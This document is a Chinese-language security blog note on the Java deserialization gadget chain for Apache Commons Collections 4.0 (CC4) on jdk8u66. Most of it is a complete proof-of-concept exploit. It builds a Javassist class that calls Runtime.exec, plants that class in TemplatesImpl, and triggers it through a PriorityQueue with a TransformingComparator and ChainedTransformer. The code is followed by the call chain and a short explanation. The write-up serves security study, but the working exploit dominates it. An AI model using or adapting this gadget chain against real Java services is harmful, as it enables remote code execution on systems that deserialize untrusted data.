Java反序列化之Commons Collections4链

环境

java版本:jdk8u66

Commons Collections:4.0

前置知识

CC2和CC3的结合

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class commons_collections4 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 构建恶意类
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CC4");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

// 构建恶意对象TemplatesImpl,将payload注入其_bytecodes字段
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");

// 构建ChainedTransformer
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 构建comparator
TransformingComparator comparator = new TransformingComparator(transformerChain);

// 借助PriorityQueue
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
getTransletInstancePriorityQueue.readObject
->PriorityQueue.heapify
->PriorityQueue.siftDown
->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare
->ChainedTransformer.transform
->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc4.newInstance()
->Runtime.exec()

CC4链是CC2链和CC3链相结合,其中以CC2链中的PriorityQueue为入口,CC3链中的TrAXFilter+InstantiateTransformer为触发点。

参考

Java安全之Commons Collections4分析 - nice_0e3 - 博客园 (cnblogs.com)